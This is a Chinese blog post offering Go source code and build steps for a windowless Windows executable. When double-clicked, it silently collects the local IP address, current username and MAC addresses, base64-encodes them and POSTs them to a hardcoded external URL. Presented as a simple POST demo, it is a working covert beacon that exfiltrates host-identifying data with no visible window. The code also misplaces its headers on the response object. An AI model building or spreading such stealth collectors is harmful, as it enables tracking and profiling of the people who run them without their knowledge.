发送一个post请求包--go语言编译生成exe

GO语言编译生成exe,执行后会向指定地址发送一个post请求包

//编译语句  go build -ldflags="-H windowsgui" post.go
//生成一个无弹窗的exe文件
package main

import (
	"encoding/base64"
	"errors"
	"fmt"
	"log"
	"net"
	"net/http"
	"os/user"
	"strings"
	"syscall"
	"unsafe"
)

func abort(funcname string, err syscall.Errno) {
	panic(funcname + " failed: " + err.Error())
}

func mac() (macAddrs string) {
	netInterfaces, err := net.Interfaces()
	if err != nil {
		fmt.Printf("fail to get net interfaces: %v", err)
		return macAddrs
	}
	for _, netInterface := range netInterfaces {
		macAddr := netInterface.HardwareAddr.String()
		if len(macAddr) == 0 {
			continue
		}
		macAddrs += "|" + macAddr
	}
	return macAddrs
}
func Get(data string) string {
	resp, err := http.Post("http://www.baidu.com/aaaa?token=11111",
		"application/x-www-form-urlencoded",
		strings.NewReader(fmt.Sprintf(data)))
	if err != nil {
		log.Println(err)
	}
	resp.Header.Add("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1") //模拟浏览器User-Agent
	resp.Header.Set("accept-language", "zh-CN,zh;q=0.9")
	defer resp.Body.Close()
	if err != nil {
		log.Println(err)
	}
	return data
}
func IntPtr(n int) uintptr {
	return uintptr(n)
}

func StrPtr(s string) uintptr {
	return uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(s)))
}

func externalIP() (net.IP, error) {
	ifaces, err := net.Interfaces()
	if err != nil {
		return nil, err
	}
	for _, iface := range ifaces {
		if iface.Flags&net.FlagUp == 0 {
			continue // interface down
		}
		if iface.Flags&net.FlagLoopback != 0 {
			continue // loopback interface
		}
		addrs, err := iface.Addrs()
		if err != nil {
			return nil, err
		}
		for _, addr := range addrs {
			ip := getIpFromAddr(addr)
			if ip == nil {
				continue
			}
			return ip, nil
		}
	}
	return nil, errors.New("connected to the network?")
}
func handleErr(err error) {
	if err != nil {
		fmt.Println(err)
	}
}
func getIpFromAddr(addr net.Addr) net.IP {
	var ip net.IP
	switch v := addr.(type) {
	case *net.IPNet:
		ip = v.IP
	case *net.IPAddr:
		ip = v.IP
	}
	if ip == nil || ip.IsLoopback() {
		return nil
	}
	ip = ip.To4()
	if ip == nil {
		return nil // not an ipv4 address
	}

	return ip
}

func main() {
	ip, err := externalIP()
	if err != nil {
		fmt.Println(err)
	}
	if err != nil {
		panic(err)
	}
	u, err := user.Current()
	handleErr(err)
	sEnc := base64.StdEncoding.EncodeToString([]byte(ip.String() + "&" + u.Username + "&" + mac()))
	Get(sEnc)
}

编译代码

配置好go环境后执行以下命令会生成一个post.exe

go build -ldflags="-H windowsgui" post.go

双击执行post.exe

会向http://www.baidu.com/aaaa?token=11111发送一个post请求包。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值